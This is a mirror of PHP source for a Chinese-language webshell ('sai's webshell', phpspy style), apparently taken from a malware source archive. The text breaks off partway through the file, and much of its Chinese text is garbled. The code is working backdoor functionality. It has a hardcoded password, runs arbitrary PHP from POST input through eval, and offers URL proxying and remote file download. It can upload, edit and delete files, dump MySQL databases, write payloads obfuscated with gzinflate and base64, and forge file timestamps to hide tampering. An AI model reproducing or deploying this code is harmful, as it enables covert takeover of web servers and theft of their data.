mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-25 04:45:27 +00:00
1440 lines
53 KiB
Plaintext
1440 lines
53 KiB
Plaintext
|
<?php
|
|||
|
/**
|
|||
|
dz<EFBFBD><EFBFBD><EFBFBD>ķ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
**/
|
|||
|
error_reporting(7);
|
|||
|
ob_start();
|
|||
|
$mtime = explode(' ', microtime());
|
|||
|
$starttime = $mtime[1] + $mtime[0];
|
|||
|
/*===================== <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> =====================*/
|
|||
|
// <20>Ƿ<EFBFBD><C7B7><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֤,1Ϊ<31><CEAA>Ҫ<EFBFBD><D2AA>֤,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊֱ<CEAA>ӽ<EFBFBD><D3BD><EFBFBD>.<2E><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч
|
|||
|
$admin['check'] = "1";
|
|||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֤,<2C><><EFBFBD>ĵ<DEB8>½<EFBFBD><C2BD><EFBFBD><EFBFBD>
|
|||
|
$admin['pass'] = "1234";
|
|||
|
// <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>phpspy<70><79><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6>ı༭<C4B1><E0BCAD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>ʱ<EFBFBD><CAB1>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>(yes/no)
|
|||
|
$retime = "no";
|
|||
|
// Ĭ<><C4AC>cmd.exe<78><65>λ<EFBFBD><CEBB>,proc_open<65><6E><EFBFBD><EFBFBD>Ҫʹ<D2AA>õ<EFBFBD>,linuxϵͳ<CFB5><CDB3><EFBFBD><EFBFBD>Ӧ<EFBFBD><EFBFBD>.(<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>winntϵͳ<CFB5>ڳ<EFBFBD><DAB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȼ<EFBFBD><C8BB><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>)
|
|||
|
$cmd = "cmd.exe";
|
|||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>phpspy<70><79>ʾ<EFBFBD><CABE>Ȩ<EFBFBD><C8A8><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><C4A3><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>ܶ<EFBFBD><DCB6><EFBFBD><EFBFBD><EFBFBD><F2B5B1B3><EFBFBD>Ϊ<EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD>ɱ<EFBFBD>ˣ<EFBFBD><CBA3>㺮~~<7E><><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD>ɡ<EFBFBD><C9A1><EFBFBD><EFBFBD>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>~~
|
|||
|
$notice = "<a href=\"http://www.51shell.cn\" title=\"dz<><C7B3><EFBFBD>ķ<EFBFBD><C4B7><EFBFBD><EFBFBD><EFBFBD>\">Http://www.51shell.cn</a>[<a href=\"http://www.4gnel.net\" title=\"<22><>ȫ<EFBFBD><C8AB>ʹ\">s4t</a>]";
|
|||
|
/*===================== <20><><EFBFBD>ý<EFBFBD><C3BD><EFBFBD> =====================*/
|
|||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> register_globals = off <20>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>¹<EFBFBD><C2B9><EFBFBD>
|
|||
|
$onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_var('register_globals');
|
|||
|
|
|||
|
if ($onoff != 1) {
|
|||
|
@extract($_POST, EXTR_SKIP);
|
|||
|
@extract($_GET, EXTR_SKIP);
|
|||
|
}
|
|||
|
|
|||
|
$self = $_SERVER['PHP_SELF'];
|
|||
|
$dis_func = get_cfg_var("disable_functions");
|
|||
|
|
|||
|
|
|||
|
/*===================== <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֤ =====================*/
|
|||
|
if($admin['check'] == "1") {
|
|||
|
if ($_GET['action'] == "logout") {
|
|||
|
setcookie ("adminpass", "");
|
|||
|
echo "<meta http-equiv=\"refresh\" content=\"3;URL=".$self."\">";
|
|||
|
echo "<span style=\"font-size: 12px; font-family: Verdana\">ע<><D7A2><EFBFBD>ɹ<EFBFBD>......<p><a href=\"".$self."\"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6>˳<EFBFBD><CBB3><EFBFBD><F2B5A5BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> >>></a></span>";
|
|||
|
exit;
|
|||
|
}
|
|||
|
|
|||
|
if ($_POST['do'] == 'login') {
|
|||
|
$thepass=trim($_POST['adminpass']);
|
|||
|
if ($admin['pass'] == $thepass) {
|
|||
|
setcookie ("adminpass",$thepass,time()+(1*24*3600));
|
|||
|
echo "<meta http-equiv=\"refresh\" content=\"3;URL=".$self."\">";
|
|||
|
echo "<span style=\"font-size: 12px; font-family: Verdana\"><3E><>½<EFBFBD>ɹ<EFBFBD>......<p><a href=\"".$self."\"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD>ת<EFBFBD><EFBFBD><F2B5A5BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> >>></a></span>";
|
|||
|
exit;
|
|||
|
}
|
|||
|
}
|
|||
|
if (isset($_COOKIE['adminpass'])) {
|
|||
|
if ($_COOKIE['adminpass'] != $admin['pass']) {
|
|||
|
loginpage();
|
|||
|
}
|
|||
|
} else {
|
|||
|
loginpage();
|
|||
|
}
|
|||
|
}
|
|||
|
/*===================== <20><>֤<EFBFBD><D6A4><EFBFBD><EFBFBD> =====================*/
|
|||
|
|
|||
|
// <20>ж<EFBFBD> magic_quotes_gpc ״̬
|
|||
|
if (get_magic_quotes_gpc()) {
|
|||
|
$_GET = stripslashes_array($_GET);
|
|||
|
$_POST = stripslashes_array($_POST);
|
|||
|
}
|
|||
|
|
|||
|
// <20>鿴PHPINFO
|
|||
|
if ($_GET['action'] == "phpinfo") {
|
|||
|
echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() <20><><EFBFBD><EFBFBD><EFBFBD>ѱ<EFBFBD><D1B1><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD>鿴<PHP<48><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>";
|
|||
|
exit;
|
|||
|
}
|
|||
|
if($_GET['action'] == "nowuser") {
|
|||
|
$user = get_current_user();
|
|||
|
if(!$user) $user = "<22><><EFBFBD>泤<EFBFBD>٣<EFBFBD><D9A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><DEB7><EFBFBD>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>";
|
|||
|
echo"<22><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>$user";
|
|||
|
exit;
|
|||
|
}
|
|||
|
if(isset($_POST['phpcode'])){
|
|||
|
eval("?".">$_POST[phpcode]<?");
|
|||
|
exit;
|
|||
|
}
|
|||
|
// <20><><EFBFBD>ߴ<EFBFBD><DFB4><EFBFBD>
|
|||
|
if (isset($_POST['url'])) {
|
|||
|
$proxycontents = @file_get_contents($_POST['url']);
|
|||
|
echo ($proxycontents) ? $proxycontents : "<body bgcolor=\"#F5F5F5\" style=\"font-size: 12px;\"><center><br><p><b><3E><>ȡ URL <20><><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7></b></p></center></body>";
|
|||
|
exit;
|
|||
|
}
|
|||
|
|
|||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
|||
|
if (!empty($downfile)) {
|
|||
|
if (!@file_exists($downfile)) {
|
|||
|
echo "<script>alert('<27><>Ҫ<EFBFBD>µ<EFBFBD><C2B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!')</script>";
|
|||
|
} else {
|
|||
|
$filename = basename($downfile);
|
|||
|
$filename_info = explode('.', $filename);
|
|||
|
$fileext = $filename_info[count($filename_info)-1];
|
|||
|
header('Content-type: application/x-'.$fileext);
|
|||
|
header('Content-Disposition: attachment; filename='.$filename);
|
|||
|
header('Content-Description: PHP Generated Data');
|
|||
|
header('Content-Length: '.filesize($downfile));
|
|||
|
@readfile($downfile);
|
|||
|
exit;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// ֱ<><D6B1><EFBFBD><EFBFBD><EFBFBD>ر<EFBFBD><D8B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD>
|
|||
|
if ($_POST['backuptype'] == 'download') {
|
|||
|
@mysql_connect($servername,$dbusername,$dbpassword) or die("<22><><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
|
|||
|
@mysql_select_db($dbname) or die("ѡ<><D1A1><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD>ʧ<EFBFBD><CAA7>");
|
|||
|
$table = array_flip($_POST['table']);
|
|||
|
$result = mysql_query("SHOW tables");
|
|||
|
echo ($result) ? NULL : "<22><><EFBFBD><EFBFBD>: ".mysql_error();
|
|||
|
|
|||
|
$filename = basename($_SERVER['HTTP_HOST']."_MySQL.sql");
|
|||
|
header('Content-type: application/unknown');
|
|||
|
header('Content-Disposition: attachment; filename='.$filename);
|
|||
|
$mysqldata = '';
|
|||
|
while ($currow = mysql_fetch_array($result)) {
|
|||
|
if (isset($table[$currow[0]])) {
|
|||
|
$mysqldata.= sqldumptable($currow[0]);
|
|||
|
$mysqldata.= $mysqldata."\r\n";
|
|||
|
}
|
|||
|
}
|
|||
|
mysql_close();
|
|||
|
exit;
|
|||
|
}
|
|||
|
|
|||
|
// <20><><EFBFBD><EFBFBD>Ŀ¼
|
|||
|
$pathname=str_replace('\\','/',dirname(__FILE__));
|
|||
|
|
|||
|
// <20><>ȡ<EFBFBD><C8A1>ǰ·<C7B0><C2B7>
|
|||
|
if (!isset($dir) or empty($dir)) {
|
|||
|
$dir = ".";
|
|||
|
$nowpath = getPath($pathname, $dir);
|
|||
|
} else {
|
|||
|
$dir=$_GET['dir'];
|
|||
|
$nowpath = getPath($pathname, $dir);
|
|||
|
}
|
|||
|
|
|||
|
// <20>ж϶<D0B6>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
|
|||
|
$dir_writeable = (dir_writeable($nowpath)) ? "<22><>д" : "<22><><EFBFBD><EFBFBD>д";
|
|||
|
$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | <a href=\"?action=phpinfo\" target=\"_blank\">PHPINFO()</a>" : "";
|
|||
|
$reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " | <a href=\"?action=reg\">ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></a>" : "";
|
|||
|
|
|||
|
$tb = new FORMS;
|
|||
|
|
|||
|
?>
|
|||
|
<html>
|
|||
|
<head>
|
|||
|
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
|
|||
|
<title>sai's webshell</title>
|
|||
|
<style type="text/css">
|
|||
|
body,td {
|
|||
|
font-family: "Tahoma";
|
|||
|
font-size: "12px";
|
|||
|
line-height: "150%";
|
|||
|
}
|
|||
|
.smlfont {
|
|||
|
font-family: "Tahoma";
|
|||
|
font-size: "11px";
|
|||
|
}
|
|||
|
.INPUT {
|
|||
|
FONT-SIZE: "12px";
|
|||
|
COLOR: "#000000";
|
|||
|
BACKGROUND-COLOR: "#FFFFFF";
|
|||
|
height: "18px";
|
|||
|
border: "1px solid #666666";
|
|||
|
padding-left: "2px";
|
|||
|
}
|
|||
|
.redfont {
|
|||
|
COLOR: "#A60000";
|
|||
|
}
|
|||
|
a:link,a:visited,a:active {
|
|||
|
color: "#000000";
|
|||
|
text-decoration: underline;
|
|||
|
}
|
|||
|
a:hover {
|
|||
|
color: "#465584";
|
|||
|
text-decoration: none;
|
|||
|
}
|
|||
|
.top {BACKGROUND-COLOR: "#CCCCCC"}
|
|||
|
.firstalt {BACKGROUND-COLOR: "#EFEFEF"}
|
|||
|
.secondalt {BACKGROUND-COLOR: "#F5F5F5"}
|
|||
|
</style>
|
|||
|
<SCRIPT language=JavaScript>
|
|||
|
function CheckAll(form) {
|
|||
|
for (var i=0;i<form.elements.length;i++) {
|
|||
|
var e = form.elements[i];
|
|||
|
if (e.name != 'chkall')
|
|||
|
e.checked = form.chkall.checked;
|
|||
|
}
|
|||
|
}
|
|||
|
function really(d,f,m,t) {
|
|||
|
if (confirm(m)) {
|
|||
|
if (t == 1) {
|
|||
|
window.location.href='?dir='+d+'&deldir='+f;
|
|||
|
} else {
|
|||
|
window.location.href='?dir='+d+'&delfile='+f;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
</SCRIPT>
|
|||
|
</head>
|
|||
|
<body style="table-layout:fixed; word-break:break-all">
|
|||
|
<center>
|
|||
|
<?php
|
|||
|
$test = "";
|
|||
|
if(!$_GET['dir']) $dir = "./";
|
|||
|
$tb->tableheader();
|
|||
|
$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>'.$_SERVER['HTTP_HOST'].'</b></td><td align="center">'.date("Y<><59>m<EFBFBD><6D>d<EFBFBD><64> h:i:s",time()).'</td><td align="right"><b>'.$_SERVER['REMOTE_ADDR'].'</b></td></tr></table>','center','top');
|
|||
|
$tb->tdbody('<a href="?action=logout">ע<><D7A2></a> | <a href="?action=dir">shellĿ¼</a> | <a href="?action=phpenv"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></a> | <a href="?action=proxy"><3E><><EFBFBD><EFBFBD></a>'.$reg.$phpinfo.' | <a href="?action=shell">WebShell</a> | <a href="?action=downloads">downloads</a> | <a href="?action=search&dir='.$dir.'">Search</a> | <a href="?action=eval">Eval</a> | <a href="?action=sql">SQL Query</a> | <a href="?action=sql&type=fun">Fun</a> |<a href="?action=sqlbak">MySQL Backup</a>');
|
|||
|
$tb->tablefooter();
|
|||
|
?>
|
|||
|
<hr width="775" noshade>
|
|||
|
<table width="775" border="0" cellpadding="0">
|
|||
|
<?
|
|||
|
$tb->headerform(array('method'=>'GET','content'=>'<p><3E><><EFBFBD><EFBFBD>·<EFBFBD><C2B7>: '.$pathname.'<br><3E><>ǰĿ¼('.$dir_writeable.','.substr(base_convert(@fileperms($nowpath),10,8),-4).'): '.$nowpath.'<br><3E><>תĿ¼: '.$tb->makeinput('dir').' '.$tb->makeinput('','ȷ<><C8B7>','','submit').' <20><>֧<EFBFBD>־<EFBFBD><D6BE><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD>'));
|
|||
|
|
|||
|
$tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content'=>'<27>ϴ<EFBFBD><CFB4>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ǰĿ¼: '.$tb->makeinput('uploadfile','','','file').' '.$tb->makeinput('doupfile','ȷ<><C8B7>','','submit').$tb->makeinput('uploaddir',$dir,'','hidden')));
|
|||
|
|
|||
|
$tb->headerform(array('action'=>'?action=editfile&dir='.urlencode($dir),'content'=>'<27>½<EFBFBD><C2BD>ļ<EFBFBD><C4BC>ڵ<EFBFBD>ǰĿ¼: '.$tb->makeinput('editfile').' '.$tb->makeinput('createfile','ȷ<><C8B7>','','submit')));
|
|||
|
|
|||
|
$tb->headerform(array('content'=>'<27>½<EFBFBD>Ŀ¼<C4BF>ڵ<EFBFBD>ǰĿ¼: '.$tb->makeinput('newdirectory').' '.$tb->makeinput('createdirectory','ȷ<><C8B7>','','submit')));
|
|||
|
?>
|
|||
|
</table>
|
|||
|
<hr width="775" noshade>
|
|||
|
<?php
|
|||
|
/*===================== ִ<>в<EFBFBD><D0B2><EFBFBD> <20><>ʼ =====================*/
|
|||
|
echo "<p><b>\n";
|
|||
|
// ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
|
|||
|
if (!empty($delfile)) {
|
|||
|
if (file_exists($delfile)) {
|
|||
|
echo (@unlink($delfile)) ? $delfile." ɾ<><C9BE><EFBFBD>ɹ<EFBFBD>!" : "<22>ļ<EFBFBD>ɾ<EFBFBD><C9BE>ʧ<EFBFBD><CAA7>!";
|
|||
|
} else {
|
|||
|
echo basename($delfile)." <20>ļ<EFBFBD><C4BC>Ѳ<EFBFBD><D1B2><EFBFBD><EFBFBD><EFBFBD>!";
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// ɾ<><C9BE>Ŀ¼
|
|||
|
elseif (!empty($deldir)) {
|
|||
|
$deldirs="$dir/$deldir";
|
|||
|
if (!file_exists("$deldirs")) {
|
|||
|
echo "$deldir Ŀ¼<C4BF>Ѳ<EFBFBD><D1B2><EFBFBD><EFBFBD><EFBFBD>!";
|
|||
|
} else {
|
|||
|
echo (deltree($deldirs)) ? "Ŀ¼ɾ<C2BC><C9BE><EFBFBD>ɹ<EFBFBD>!" : "Ŀ¼ɾ<C2BC><C9BE>ʧ<EFBFBD><CAA7>!";
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// <20><><EFBFBD><EFBFBD>Ŀ¼
|
|||
|
elseif (($createdirectory) AND !empty($_POST['newdirectory'])) {
|
|||
|
if (!empty($newdirectory)) {
|
|||
|
$mkdirs="$dir/$newdirectory";
|
|||
|
if (file_exists("$mkdirs")) {
|
|||
|
echo "<22><>Ŀ¼<C4BF>Ѵ<EFBFBD><D1B4><EFBFBD>!";
|
|||
|
} else {
|
|||
|
echo (@mkdir("$mkdirs",0777)) ? "<22><><EFBFBD><EFBFBD>Ŀ¼<C4BF>ɹ<EFBFBD>!" : "<22><><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>!";
|
|||
|
@chmod("$mkdirs",0777);
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// <20>ϴ<EFBFBD><CFB4>ļ<EFBFBD>
|
|||
|
elseif ($doupfile) {
|
|||
|
echo (@copy($_FILES['uploadfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadfile']['name']."")) ? "<22>ϴ<EFBFBD><CFB4>ɹ<EFBFBD>!" : "<22>ϴ<EFBFBD>ʧ<EFBFBD><CAA7>!";
|
|||
|
}
|
|||
|
|
|||
|
// <20>༭<EFBFBD>ļ<EFBFBD>
|
|||
|
elseif ($_POST['do'] == 'doeditfile') {
|
|||
|
if (!empty($_POST['editfilename'])) {
|
|||
|
if(!file_exists($editfilename)) unset($retime);
|
|||
|
if($time==$now) $time = @filemtime($editfilename);
|
|||
|
$time2 = @date("Y-m-d H:i:s",$time);
|
|||
|
$filename="$editfilename";
|
|||
|
@$fp=fopen("$filename","w");
|
|||
|
if($_POST['change']=="yes"){
|
|||
|
$filecontent = "?".">".$_POST['filecontent']."<?";
|
|||
|
$filecontent = gzdeflate($filecontent);
|
|||
|
$filecontent = base64_encode($filecontent);
|
|||
|
$filecontent = "<?php\n/*\n<><6E><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dz<EFBFBD><C7B3><EFBFBD>ķ<EFBFBD><C4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!\n*/\neval(gzinflate(base64_decode('$filecontent')));\n"."?>";
|
|||
|
}else{
|
|||
|
$filecontent = $_POST['filecontent'];
|
|||
|
}
|
|||
|
echo $msg=@fwrite($fp,$filecontent) ? "д<><D0B4><EFBFBD>ļ<EFBFBD><C4BC>ɹ<EFBFBD>!" : "д<><D0B4>ʧ<EFBFBD><CAA7>!";
|
|||
|
@fclose($fp);
|
|||
|
if($retime=="yes"){
|
|||
|
echo" <3B><><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>:";
|
|||
|
echo $msg=@touch($filename,$time) ? "<22><EFBFBD><DEB8>ļ<EFBFBD>Ϊ".$time2."<22>ɹ<EFBFBD>!" : "<22><EFBFBD><DEB8>ļ<EFBFBD>ʱ<EFBFBD><CAB1>ʧ<EFBFBD><CAA7>!";
|
|||
|
}
|
|||
|
} else {
|
|||
|
echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>༭<EFBFBD><E0BCAD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>!";
|
|||
|
}
|
|||
|
}
|
|||
|
//<2F>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
elseif ($_POST['do'] == 'downloads') {
|
|||
|
$contents = @file_get_contents($_POST['durl']);
|
|||
|
if(!$contents){
|
|||
|
echo"<22><EFBFBD><DEB7><EFBFBD>ȡҪ<C8A1><D2AA><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD>";
|
|||
|
}
|
|||
|
elseif(file_exists($path)){
|
|||
|
echo"<22>ܱ<EFBFBD>Ǹ<EFBFBD><C7B8><EFBFBD>ļ<EFBFBD>".$path."<22>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>";
|
|||
|
}else{
|
|||
|
$fp = @fopen($path,"w");
|
|||
|
echo $msg=@fwrite($fp,$contents) ? "<22><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>ɹ<EFBFBD>!" : "<22><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>д<EFBFBD><D0B4>ʱʧ<CAB1><CAA7>!";
|
|||
|
@fclose($fp);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// <20>༭<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
elseif ($_POST['do'] == 'editfileperm') {
|
|||
|
if (!empty($_POST['fileperm'])) {
|
|||
|
$fileperm=base_convert($_POST['fileperm'],8,10);
|
|||
|
echo (@chmod($dir."/".$file,$fileperm)) ? "<22><><EFBFBD><EFBFBD><EFBFBD>ijɹ<C4B3>!" : "<22><EFBFBD>ʧ<EFBFBD><CAA7>!";
|
|||
|
echo " <20>ļ<EFBFBD> ".$file." <20>ĺ<DEB8><C4BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ: ".substr(base_convert(@fileperms($dir."/".$file),10,8),-4);
|
|||
|
} else {
|
|||
|
echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>!";
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
elseif ($_POST['do'] == 'rename') {
|
|||
|
if (!empty($_POST['newname'])) {
|
|||
|
$newname=$_POST['dir']."/".$_POST['newname'];
|
|||
|
if (@file_exists($newname)) {
|
|||
|
echo "".$_POST['newname']." <20>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>!";
|
|||
|
} else {
|
|||
|
echo (@rename($_POST['oldname'],$newname)) ? basename($_POST['oldname'])." <20>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD>Ϊ ".$_POST['newname']." !" : "<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>!";
|
|||
|
}
|
|||
|
} else {
|
|||
|
echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>ĵ<EFBFBD><C4B5>ļ<EFBFBD><C4BC><EFBFBD>!";
|
|||
|
}
|
|||
|
}
|
|||
|
elseif ($_POST['do'] == 'search') {
|
|||
|
if(!empty($oldkey)){
|
|||
|
echo"<span class=\"redfont\"><3E><><EFBFBD>ҹؼ<D2B9><D8BC><EFBFBD>:[".$oldkey."],<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD>ҵĽ<D2B5><C4BD><EFBFBD>:";
|
|||
|
if($type2 == "getpath"){
|
|||
|
echo"<22><><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>ϻ<EFBFBD><CFBB>в<EFBFBD><D0B2>ֽ<EFBFBD>ȡ<EFBFBD><C8A1>ʾ.";
|
|||
|
}
|
|||
|
echo"</span><br><hr width=\"775\" noshade>";
|
|||
|
find($path);
|
|||
|
}else{
|
|||
|
echo"<22><>Ҫ<EFBFBD><D2AA>Ϻ<EFBFBD><CFBA>?<3F><><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>Ϻ<EFBFBD><CFBA><EFBFBD><EFBFBD>?<3F><>û<EFBFBD><C3BB>Ϻ<EFBFBD><CFBA>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?";
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// <20><>¡ʱ<C2A1><CAB1>
|
|||
|
elseif ($_POST['do'] == 'domodtime') {
|
|||
|
if (!@file_exists($_POST['curfile'])) {
|
|||
|
echo "Ҫ<>ĵ<DEB8><C4B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!";
|
|||
|
} else {
|
|||
|
if (!@file_exists($_POST['tarfile'])) {
|
|||
|
echo "Ҫ<><D2AA><EFBFBD>յ<EFBFBD><D5B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!";
|
|||
|
} else {
|
|||
|
$time=@filemtime($_POST['tarfile']);
|
|||
|
echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." <20><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD>Ϊ ".date("Y-m-d H:i:s",$time)." !" : "<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>!";
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// <20>Զ<EFBFBD><D4B6><EFBFBD>ʱ<EFBFBD><CAB1>
|
|||
|
elseif ($_POST['do'] == 'modmytime') {
|
|||
|
if (!@file_exists($_POST['curfile'])) {
|
|||
|
echo "Ҫ<>ĵ<DEB8><C4B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!";
|
|||
|
} else {
|
|||
|
$year=$_POST['year'];
|
|||
|
$month=$_POST['month'];
|
|||
|
$data=$_POST['data'];
|
|||
|
$hour=$_POST['hour'];
|
|||
|
$minute=$_POST['minute'];
|
|||
|
$second=$_POST['second'];
|
|||
|
if (!empty($year) AND !empty($month) AND !empty($data) AND !empty($hour) AND !empty($minute) AND !empty($second)) {
|
|||
|
$time=strtotime("$data $month $year $hour:$minute:$second");
|
|||
|
echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." <20><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD>Ϊ ".date("Y-m-d H:i:s",$time)." !" : "<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>!";
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// <20><><EFBFBD><EFBFBD>MYSQL
|
|||
|
elseif ($connect) {
|
|||
|
if (@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname)) {
|
